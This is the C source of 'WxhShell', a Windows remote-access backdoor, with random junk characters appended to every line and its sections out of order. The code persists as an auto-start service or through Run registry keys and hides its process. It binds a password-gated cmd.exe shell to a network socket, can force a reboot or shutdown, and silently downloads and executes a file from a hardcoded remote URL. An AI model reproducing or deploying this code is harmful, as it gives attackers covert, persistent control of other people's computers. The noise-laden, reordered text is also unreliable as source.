    if(Boot(SHUTDOWN)) f{SB1M   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @`\VBW  
    else { 6'\6OsH  
    closesocket(wsh); dJ"iEb|4  
    ExitThread(0); s4&^D<  
    } &-(463  
    break; Kw#so; e  
    } P[s8JDqu  
  // 获取shell fw ,\DFHO  
  case 's': { Aw&tP[N[  
    CmdShell(wsh); * #TUGfwy  
    closesocket(wsh); .<kqJ|SVi  
    ExitThread(0); KNH1#30 K  
    break; v<Bynd-  
  } y% :4b@<  
  // 退出 f~ }H  
  case 'x': { !i=nSqW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9UvXC)R1  
    CloseIt(wsh); J2uZmEt  
    break; N0#JOu}~  
    } !w&kyW?e  
  // 离开 zYl#4O`=c  
  case 'q': { C8F7bG8c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  }fp-5  
    closesocket(wsh); 3fN.bU9_  
    WSACleanup(); Z7 E  
    exit(1); 'X shmZ0&  
    break; qzb<J=FAU  
        } DTWD |M  
  } K~ ;45Z2  
  } '\jd#Kn'h  
(b`]M`Fc  
  // 提示信息 Nk {XdrY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V!)O6?l  
} r|,i'T  
  } 'Ei;^Y 1e  
DY[$"8Kxcp  
  return; 2t $j  
} @LJpdvb  
'M3">$N  
// shell模块句柄 ,t1abp{A  
int CmdShell(SOCKET sock) ou %/l4dC  
{ [s<^&WM/  
STARTUPINFO si; L~s3b  
ZeroMemory(&si,sizeof(si)); _{M\Bs2<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .^b;osAU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :O5og[;b  
PROCESS_INFORMATION ProcessInfo; WJ*n29^N^h  
char cmdline[]="cmd"; 5xii(\lC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D%JlbH8  
  return 0; ?McQr1  
} MxBTX4ES  
N/GQt\tV<  
// 自身启动模式 41fJ%f` G  
int StartFromService(void) {[+2n]f_G  
{ j(~ *'&|(  
typedef struct dDnf^7q/  
{ [TNj;o5J  
  DWORD ExitStatus; s: 3z'4oX  
  DWORD PebBaseAddress; NV#FvM/#"  
  DWORD AffinityMask; r-h#{==*c  
  DWORD BasePriority; I*VCpaA  
  ULONG UniqueProcessId; j2 !3rI  
  ULONG InheritedFromUniqueProcessId; cV`E>w=D0  
}   PROCESS_BASIC_INFORMATION; RQMEBsI}  
- M,7N}z@;  
PROCNTQSIP NtQueryInformationProcess; }x&N^Ky3c  
SXt{k<|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Bn!$UUC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >2By +/!X  
cHa]xmy%r'  
  HANDLE             hProcess; j) ,,"54*  
  PROCESS_BASIC_INFORMATION pbi; 8/K!SpM*d  
*28pRvY:b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `_&Vt=7lG  
  if(NULL == hInst ) return 0; $Y 7c  
{W##^L~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X6^},C'E.:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `%j~|i)4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !~h}8'a?  
/<rt1&0  
  if (!NtQueryInformationProcess) return 0; h&kZjQ&  
o-o'z'9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Wq^qpN)5Y  
  if(!hProcess) return 0; E#s)52z=B  
d:F @a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hUm'8)OJ  
?-Vjha@BO  
  CloseHandle(hProcess); w4fW<ISg  
+kFxi2L6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,6r{VLN  
if(hProcess==NULL) return 0; B*E2.\~  
pFJB'=c  
HMODULE hMod; 8| $3OVS  
char procName[255]; san,|yrMn  
unsigned long cbNeeded; r#6_]ep}<'  
w;l<[q?_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &hk-1y9QS  
[}fv  dW  
  CloseHandle(hProcess); n3sUbs;  
ek N' k  
if(strstr(procName,"services")) return 1; // 以服务启动 |`jjHuQ;  
pD&& l!i&[  
  return 0; // 注册表启动 D_8x6`z  
} ;}'D16`j  
SvR7e C  
// 主模块 K5"#~\D  
int StartWxhshell(LPSTR lpCmdLine) Jnv@.  
{ |c`w'W?C6  
  SOCKET wsl; ;.bm6(;  
BOOL val=TRUE; WMj}kq)SY)  
  int port=0; =V^.}WtO  
  struct sockaddr_in door; B7"PIkk;  
7-BvFEM;  
  if(wscfg.ws_autoins) Install(); RW P<B0)  
4WB-Ec  
port=atoi(lpCmdLine); AdWq Q  
$k$4% 7  
if(port<=0) port=wscfg.ws_port; 6eokCc"o  
''|#cEc)  
  WSADATA data; C2{lf^9:&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D0N9Ksq  
pn*3\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q#EP|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Sv;_HZ  
  door.sin_family = AF_INET; m%PC8bf`S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); XQ*eP?OS{  
  door.sin_port = htons(port); P#:?ok  
wRrnniqf8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3T&6opaF  
closesocket(wsl); ?^j^K-rx  
return 1; $u/E\l  
} +NFzSal  
z ;u  
  if(listen(wsl,2) == INVALID_SOCKET) { S'HnBn /  
closesocket(wsl); ko^\ HSXl  
return 1; 46k?b|Q  
} XerbUkZ  
  Wxhshell(wsl); 95<EN (oUD  
  WSACleanup(); %2V-~.Ro6  
Rml2"9"`  
return 0; ;Q+xK h%  
y?SyInt  
} nQ GQWg`  
cr;g5C V  
// 以NT服务方式启动 )3(;tT,$}^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #M!!CX*k  
{ K|oacOF9  
DWORD   status = 0; @2*]"/)*0  
  DWORD   specificError = 0xfffffff; iH.$f /)N  
0 &GRPu27  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g&n)fF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t&9A ]<n%,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K6olYG>  
  serviceStatus.dwWin32ExitCode     = 0; x}twsc`  
  serviceStatus.dwServiceSpecificExitCode = 0; [V 8{b{  
  serviceStatus.dwCheckPoint       = 0; Nl' )l"  
  serviceStatus.dwWaitHint       = 0; "}Me}S<  
.] `f,^v<c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @JW@-9/  
  if (hServiceStatusHandle==0) return; 4ikdM/  
"YB** Y  
status = GetLastError(); ?3O9eZY@  
  if (status!=NO_ERROR) eznypY=  
{ 2<hpK!R  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h!m_PgRSs  
    serviceStatus.dwCheckPoint       = 0; X=C1/4wU  
    serviceStatus.dwWaitHint       = 0; &[&r2 >a  
    serviceStatus.dwWin32ExitCode     = status; 0 u?{ \  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4tx|=;@0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0 P[RyQI  
    return; ?2Kt'1s#  
  } =tU{7i*+  
9h0X&1u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wKH ::!  
  serviceStatus.dwCheckPoint       = 0; M3~K,$@  
  serviceStatus.dwWaitHint       = 0; XO <y +  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -rKO )}  
} eh[_~>w  
we#wH-  
// 处理NT服务事件,比如:启动、停止 -n0C4kZ2o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) f7I{WfZ\P  
{ s :`8ZBz~  
switch(fdwControl) !`mZ0c+  
{ ,E|m.  
case SERVICE_CONTROL_STOP: #oJ5k8Wy  
  serviceStatus.dwWin32ExitCode = 0; ;}z\i  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; u0`%+:]0  
  serviceStatus.dwCheckPoint   = 0; p!/[K6u  
  serviceStatus.dwWaitHint     = 0; *G UAO){'  
  { Yhp]x   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bZx!0>h  
  } H_?o-L?+  
  return; CU7F5@+  
case SERVICE_CONTROL_PAUSE: ^2wLxXO6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VxzkQ}o  
  break; YJ:3!B>Zo  
case SERVICE_CONTROL_CONTINUE: +ki{H}G21  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,&4qgp{)  
  break; i55x`>]&sb  
case SERVICE_CONTROL_INTERROGATE: ~r{5`;c  
  break; }Yv\0\~'W|  
}; 3Oa*%kP+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @/&b;s73  
} >h+349  
+\"-P72vjk  
// 标准应用程序主函数 gDIBnH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?RzDQy D  
{ kw`WH)+F  
<ER'Ed  
// 获取操作系统版本 hAj1{pA,  
OsIsNt=GetOsVer(); nv<` K9d  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B-d(@7,1  
*6BThvg|&X  
  // 从命令行安装 R4Rb73o  
  if(strpbrk(lpCmdLine,"iI")) Install(); k-*Mzm]kb  
yFhB>i  
  // 下载执行文件 e5Mln!.o  
if(wscfg.ws_downexe) { 2 3KyCV5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A?Wk  w f  
  WinExec(wscfg.ws_filenam,SW_HIDE); \(p{t  
} u>pBB@  
|Oag,o"  
if(!OsIsNt) { p h[\)  
// 如果时win9x,隐藏进程并且设置为注册表启动 h3gWOU  
HideProc(); IHC1G1KW=A  
StartWxhshell(lpCmdLine); :D7|%KK  
} g+PPW88P;  
else TEsnNi 1  
  if(StartFromService()) ~L7:2weV[  
  // 以服务方式启动 &:=$wc  
  StartServiceCtrlDispatcher(DispatchTable); vs6,  
else I^Z8PEc+  
  // 普通方式启动 [_xyl e  
  StartWxhshell(lpCmdLine); f f7(  
V,EF'-F  
return 0; nY $tp  
} iq*A("pU  
*V(Fn-6(  
(qwdQMj`  
6b~28  
=========================================== /HZumV?  
yg]2erR  
zdSh:  
/(t sb  
IF*&%pB  
~:_0CKa!  
" ]IJv-(  
6#A:}B<?  
#include <stdio.h> x|eeRf|  
#include <string.h> t5 a7DD  
#include <windows.h> PNSMcakD  
#include <winsock2.h> x?D/.vrOY  
#include <winsvc.h> j[6Raf/(n  
#include <urlmon.h> P%X-@0)  
H;WY!X$x  
#pragma comment (lib, "Ws2_32.lib") }jF+`!*!  
#pragma comment (lib, "urlmon.lib") <@bA?FY  
ZkB3[$4C=5  
#define MAX_USER   100 // 最大客户端连接数 z2/!m[U  
#define BUF_SOCK   200 // sock buffer pJ, @Y>  
#define KEY_BUFF   255 // 输入 buffer #G3N(wV3  
oQ+61!5>  
#define REBOOT     0   // 重启 |Y_ -  
#define SHUTDOWN   1   // 关机 ;mAhY  
?a/n<V '  
#define DEF_PORT   5000 // 监听端口 bdh(WJh%  
6ew "fCrH!  
#define REG_LEN     16   // 注册表键长度 k5+]SG`]]  
#define SVC_LEN     80   // NT服务名长度 |kiJ}oy  
l54|Q  
// 从dll定义API r{+aeLu  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Uedvc5><t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9 -jO,l  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); aw}+'(?8]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g8pm2o@S  
UCqs}U8  
// wxhshell配置信息 qJ[@:&:  
struct WSCFG { a}.Y!O&  
  int ws_port;         // 监听端口 YT2'!R 1  
  char ws_passstr[REG_LEN]; // 口令 F!KV\?eM$  
  int ws_autoins;       // 安装标记, 1=yes 0=no Na!za'qk[o  
  char ws_regname[REG_LEN]; // 注册表键名 9]_GNk-D  
  char ws_svcname[REG_LEN]; // 服务名 [5pCL0<c@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wFlV=!>,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 WO%h"'iJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r25Z`X Z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no K^i"9D)A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &^ I+s^\=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I 8Y*@$h  
ged,>  
}; IKf`[_,t]  
k7bl'zic  
// default Wxhshell configuration P%o44|[][  
struct WSCFG wscfg={DEF_PORT, rpU/s@%L  
    "xuhuanlingzhe", s j9D  
    1, - 0~IY  
    "Wxhshell", A_r<QYq0|  
    "Wxhshell", r#~K[qb  
            "WxhShell Service", }]h \/,  
    "Wrsky Windows CmdShell Service", %RFYm  
    "Please Input Your Password: ", <NQyP{p  
  1, 0o68rF5^s  
  "http://www.wrsky.com/wxhshell.exe", 52<~K  
  "Wxhshell.exe" ?6:cNdN  
    }; anx&Xj|=.F  
1~qm+nET\  
// 消息定义模块 Lpm?# g uR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tyXl}$)y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Gc5VQ^]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Oc-u=K,B  
char *msg_ws_ext="\n\rExit."; +{&+L0DfH~  
char *msg_ws_end="\n\rQuit."; UA0tFeH  
char *msg_ws_boot="\n\rReboot..."; :J%'=_I&H  
char *msg_ws_poff="\n\rShutdown..."; 4[l^0  
char *msg_ws_down="\n\rSave to "; b{HhS6<K?  
9A*rE.B+W  
char *msg_ws_err="\n\rErr!"; y*KC*/'"  
char *msg_ws_ok="\n\rOK!"; T 'i~_R6  
6e:P.HqjA  
char ExeFile[MAX_PATH];  oWrE2U;  
int nUser = 0; k.>6nho`TV  
HANDLE handles[MAX_USER]; {h^c  
int OsIsNt; Kfd_uXL>  
=L16hDk o  
SERVICE_STATUS       serviceStatus; nhT;b,G.Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {jG.=}/Dk  
As}eUm)B5c  
// 函数声明 "8_,tYAH  
int Install(void); g =x"cs/[  
int Uninstall(void); E.#6;HHzN  
int DownloadFile(char *sURL, SOCKET wsh); Xv*}1PZH  
int Boot(int flag); k1wr/G'H[  
void HideProc(void); 9i[4"&K  
int GetOsVer(void); fn?VNZ`J  
int Wxhshell(SOCKET wsl); Okoo(dfM  
void TalkWithClient(void *cs); |<2 *v-a  
int CmdShell(SOCKET sock); o#dcD?^  
int StartFromService(void); ~1d!hq?/q  
int StartWxhshell(LPSTR lpCmdLine); GMT or  
AI R{s7N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _y-B";Vmm  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); uA^hCh-js  
wEK%T P4  
// 数据结构和表定义 -XLo0  
SERVICE_TABLE_ENTRY DispatchTable[] = o]p#%B?mZ  
{ w #<^RKk  
{wscfg.ws_svcname, NTServiceMain}, O$(c. (_$  
{NULL, NULL} #'c%  
}; v<+4BjV!J}  
QD}1?)}  
// 自我安装 U%n,XOJ  
int Install(void) p70,\&@3  
{ Y^X:vI  
  char svExeFile[MAX_PATH]; Np)ho8zU  
  HKEY key; RCCv>o  
  strcpy(svExeFile,ExeFile); qTS @D  
T(&kXMaB  
// 如果是win9x系统,修改注册表设为自启动 BP:(IP!&  
if(!OsIsNt) { 3~:0?Zuq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t,1in4sN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "kU>~~y,  
  RegCloseKey(key); ~r PYJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l JlZHO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &h\CS8nT%  
  RegCloseKey(key); V 1*Ad  
  return 0; 44Q9* ."  
    } U~CdU  
  } ki`8(u6l  
} H)`@2~Y  
else { 6#O#T;f)  
/'mrDb_ip  
// 如果是NT以上系统,安装为系统服务 =9fEv,Jk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); SF"#\{cjj  
if (schSCManager!=0) k=ts&9\  
{ ;Na^]32  
  SC_HANDLE schService = CreateService PaxK^*  
  ( >eRZ+|k?N  
  schSCManager, "0b?+ 3_{G  
  wscfg.ws_svcname, x'zihDOI  
  wscfg.ws_svcdisp, 76$*1jB  
  SERVICE_ALL_ACCESS, u7n[f@Eg,%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uFC?_q?4\  
  SERVICE_AUTO_START, NWb} OXK/  
  SERVICE_ERROR_NORMAL, p %L1uwLG  
  svExeFile, .hc|t-7f  
  NULL, ?Q;kZmQl  
  NULL, f.J 9) lfb  
  NULL, TZ:34\u   
  NULL, +8^5C,V  
  NULL 5St`@  
  ); ):^ '/e  
  if (schService!=0) }'DC Q  
  { C`3V=BB  
  CloseServiceHandle(schService); mF}c-  D  
  CloseServiceHandle(schSCManager); wZ$ tJQO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [7'#~[a~  
  strcat(svExeFile,wscfg.ws_svcname); @81-kdTx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sRi?]9JIl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _O"L1Let  
  RegCloseKey(key); C1KfXC*|L  
  return 0; Q js2hj-$  
    } Sf=F cb  
  } O@nqHZ  
  CloseServiceHandle(schSCManager); QH4k!^  
} TeKC} NW  
} H_Iim[v#  
Jc`Rs"2  
return 1; \Bt =bu>Z  
} gxI&f  
~:T3|  
// 自我卸载 r}ZLf  
int Uninstall(void) c6t2Q6zV  
{ >6OCKl  
  HKEY key; sTt9'P`  
Ze#Jhn@  
if(!OsIsNt) { Ir!2^:]!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ] xb]8]  
  RegDeleteValue(key,wscfg.ws_regname); <nj IXa{  
  RegCloseKey(key); {d^Q7A:`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -xw 98  
  RegDeleteValue(key,wscfg.ws_regname); y!SF/i?Py  
  RegCloseKey(key); r@olC7&  
  return 0; 6`_!?u7  
  } u\M4`p!g=  
} kNRyOUy  
} 'G<}U343=8  
else { >~h>#{&  
L^3~gM"!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 3b+7^0frY#  
if (schSCManager!=0) PP!l  
{ ,wEM Jh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Tku /OG'  
  if (schService!=0) 1po"gVot  
  { "fRlEO[9  
  if(DeleteService(schService)!=0) { ^CfM|L8>  
  CloseServiceHandle(schService); -E6Jf$  
  CloseServiceHandle(schSCManager); j\!~9  
  return 0; Y_$^:LG  
  } = vY]G5y  
  CloseServiceHandle(schService); &1*4%N@'  
  } be&6kG  
  CloseServiceHandle(schSCManager); h0T< :X   
} EfFj!)fz  
} F#jCEq  
y=-{Q  
return 1; A(q~{  
} |VTWw<{LX  
V/`#B$6  
// 从指定url下载文件 l{nB.m2  
int DownloadFile(char *sURL, SOCKET wsh) )\um "l*\c  
{ =]!8:I?C<  
  HRESULT hr; ,D:iQDG^  
char seps[]= "/"; $/NGNkl[  
char *token; C]yvK}  
char *file; o~Bk0V=  
char myURL[MAX_PATH]; zA2UFax=  
char myFILE[MAX_PATH]; 01&*`0?  
iSOD&J_  
strcpy(myURL,sURL); UVc>i9,0  
  token=strtok(myURL,seps); PZKbnu  
  while(token!=NULL) & 6`  
  { PXOrOK  
    file=token; T^KCB\\<  
  token=strtok(NULL,seps); 2.^7?ok  
  }  qJsQb  
.Q l;(Wyl  
GetCurrentDirectory(MAX_PATH,myFILE); %T3j8fC{s  
strcat(myFILE, "\\"); hCU)W1q#  
strcat(myFILE, file); p#ZMABlE,P  
  send(wsh,myFILE,strlen(myFILE),0); K.:6YXVs<  
send(wsh,"...",3,0); ;[?J5X,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |hu"5*  
  if(hr==S_OK) 2v"wWap-+  
return 0; (nkUeQQN  
else _ pY   
return 1; c80 }1  
z zulVj*  
} EZ:I$X  
$ 1ak I  
// 系统电源模块 zb@L)%  
int Boot(int flag) k\4g|Lya  
{ @).WIs  
  HANDLE hToken;  JA }S{  
  TOKEN_PRIVILEGES tkp; 9`ri J4zl  
w k-Mu\  
  if(OsIsNt) { N2[, aU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L~^e\^sP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1.hOE>A%  
    tkp.PrivilegeCount = 1; +9<,3IJe6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0-8ELX[#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i;E9Za W  
if(flag==REBOOT) { ;s}-X_O<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /V#MLPA  
  return 0; ~@b9  
} D]t~S1ycG7  
else { R*JOiVAC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) OhA^UP01-  
  return 0; rC=p;BC@dD  
} [+ %p!T  
  } a(Gk~vD;"  
  else { ]=$-B  
if(flag==REBOOT) { pHI%jHHJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f)&`mqeE  
  return 0; r?Ev.m  
} `~w%Jf  
else { +^^S'mP8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b&hF')_UOz  
  return 0; UiGUaBmF*  
} ~G|{q VO7A  
} >#${.+y  
9*G L@_c  
return 1; sg!=Q+  
} c]cO[T_gGa  
J@u!S~&r  
// win9x进程隐藏模块 S>/I?(J  
void HideProc(void) +1JZB* W  
{ =$:4v`W0(  
Y\\3g_YBF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n:}MULy;  
  if ( hKernel != NULL ) [*mCa:^  
  { rsIt~w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "K4X:|Om"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S2{ ?W  
    FreeLibrary(hKernel); BDB zc5Q(  
  } uK"$=v6|  
ie$fMBIq  
return; ;X9MA=b  
} xX/Qoq (}i  
1*c0\:BQ;z  
// 获取操作系统版本 Tko CyD9  
int GetOsVer(void) % @^VrhS  
{ } (GQDJp  
  OSVERSIONINFO winfo; B?/12+sR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D6pEQdX`  
  GetVersionEx(&winfo); i?P]}JENM  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z- {"pI  
  return 1; CwCo"%E8}  
  else Bv |jo&0n  
  return 0; K|Ij71  
} *y[~kWI  
\8C*O{w  
// 客户端句柄模块 egIS rmL+X  
int Wxhshell(SOCKET wsl) +Qb2LR  
{ ]UpHD.Of[t  
  SOCKET wsh; 1W6n[Xg  
  struct sockaddr_in client; &H p\("  
  DWORD myID; sDh6 Uk  
v J,xz*rc`  
  while(nUser<MAX_USER) J&] XLr.j  
{ $[^ KCNB  
  int nSize=sizeof(client); =t>`< T|(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ZRVF{D??"%  
  if(wsh==INVALID_SOCKET) return 1; R!M|k%(  
&bOodkOb  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  onS{  
if(handles[nUser]==0) `5~o=g  
  closesocket(wsh); 8Vg`;_-  
else EC\rh](d 1  
  nUser++; v#AO\zYKd  
  } w~FO:/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A%sxMA!K,  
,2:L{8_L  
  return 0; P[|B WNei  
} \gPNHL*  
1{uDHB  
// 关闭 socket JY,l#?lM{  
void CloseIt(SOCKET wsh) (WU~e!}  
{ p%M(G#gOgP  
closesocket(wsh); zs]>XO~Jg  
nUser--; 0UAr}H.:  
ExitThread(0); qLktMp_  
} 5xn0U5U  
/[)P^L`  
// 客户端请求句柄 |RbUmuj  
void TalkWithClient(void *cs) kY |=a  
{ >5z`SZf  
g275{2G9  
  SOCKET wsh=(SOCKET)cs; X|QX1dl  
  char pwd[SVC_LEN]; w|U@jr*H]  
  char cmd[KEY_BUFF]; $K>d\{@+7  
char chr[1]; -iZjs  
int i,j; J~ gkGso  
*dn-,Q%`  
  while (nUser < MAX_USER) { 8aM% 9OU  
e715)_HD  
if(wscfg.ws_passstr) { 66y,{t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f~(^|~ZT  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !nD[hI8P  
  //ZeroMemory(pwd,KEY_BUFF); IEKX'+t'  
      i=0; Z#E#P<&d  
  while(i<SVC_LEN) { TlZlE^EE<  
>!ZyykAs  
  // 设置超时 {10+(Vl  
  fd_set FdRead; Y&!McM!Jw  
  struct timeval TimeOut; P)o[p(  
  FD_ZERO(&FdRead); F@*r%[S/  
  FD_SET(wsh,&FdRead); ? wiq 3f6  
  TimeOut.tv_sec=8; 0BU:(o&  
  TimeOut.tv_usec=0; h"%,eW|^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YUE 1 '}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); XajY'+DIsz  
Jv$2wH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Sv]"Y/N  
  pwd=chr[0]; Z( clw  
  if(chr[0]==0xd || chr[0]==0xa) { &G5I0:a   
  pwd=0; @eD~FNf-]  
  break; <k8rSx n{  
  } ]KII?{ <k  
  i++; xVmUmftD  
    } u*YuU%H=  
7Bb@9M?i  
  // 如果是非法用户,关闭 socket 7}HA_@[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,2L,>?r6  
} tYxlM!  
T)?@E/VaS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WlJRKM2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <zWQ[^  
="PywZ  
while(1) { Lm2cW$s  
3n"&$q6  
  ZeroMemory(cmd,KEY_BUFF); j1C0LP8  
!7Q.w/|=  
      // 自动支持客户端 telnet标准   9"v ox   
  j=0; JL*]9$o  
  while(j<KEY_BUFF) { O9 r44ww  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?Pf ,5=*B  
  cmd[j]=chr[0]; |H I A[.q  
  if(chr[0]==0xa || chr[0]==0xd) { <@2?2l+`X  
  cmd[j]=0; /?<9,7#i  
  break; Sf8Xj |u  
  } iO#xIl<  
  j++; ,kuFTWB  
    } ="*C&wB^  
cyn]>1ZM  
  // 下载文件 JSP8Lu"n  
  if(strstr(cmd,"http://")) { >L3p qK   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S6Xw+W02  
  if(DownloadFile(cmd,wsh)) 6I'V XdeN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); uqH! eN5  
  else {:!SH6 ff  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U%6lYna{M#  
  } ]5MR p7  
  else { ]7ZC>.t  
]?5@ObG  
    switch(cmd[0]) { ':fbf7EL<  
  k$m X81  
  // 帮助 [&59n,R`  
  case '?': {  )"Yah  
